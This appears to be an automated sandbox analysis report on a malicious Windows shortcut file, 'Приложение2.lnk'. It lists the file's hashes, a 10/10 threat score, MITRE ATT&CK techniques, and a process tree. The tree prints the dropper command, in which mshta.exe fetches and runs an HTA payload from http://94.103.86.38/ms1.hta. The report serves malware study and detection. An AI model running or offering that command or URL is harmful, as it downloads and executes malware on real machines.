0aad58903f0524b82a3388b1aa6302c974dfc4ac593435f2bc0f1b9eb3ced6db

Analysis

max time kernel
84s
max time network
130s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
12/04/2023, 04:44

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Приложение2.lnk
Size

1KB
MD5

4443dc6bc9015b039ab514e4b23be5d6
SHA1

b0935265193593373bf2744f11ce7acdd4a1970b
SHA256

3f6d866f09cfabb1aa2a0393d290533ed31705c87b85f77edc3fdd51b90f6e24
SHA512

3b317782345b0f78dec005d826894560991d698d003ba9da50f3f2d5347c7a632b1057a0323a024c80762a18f8288e1c50ab53dbe664c5f88b22c446b628f19d

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://94.103.86.38/ms1.hta

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	1496	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1740 wrote to memory of 1496	1740	cmd.exe	88
PID 1740 wrote to memory of 1496	1740	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Приложение2.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1740
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" http://94.103.86.38/ms1.hta
  2⤵
  - Blocklisted process makes network request
  PID:1496

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

Loading Replay Monitor...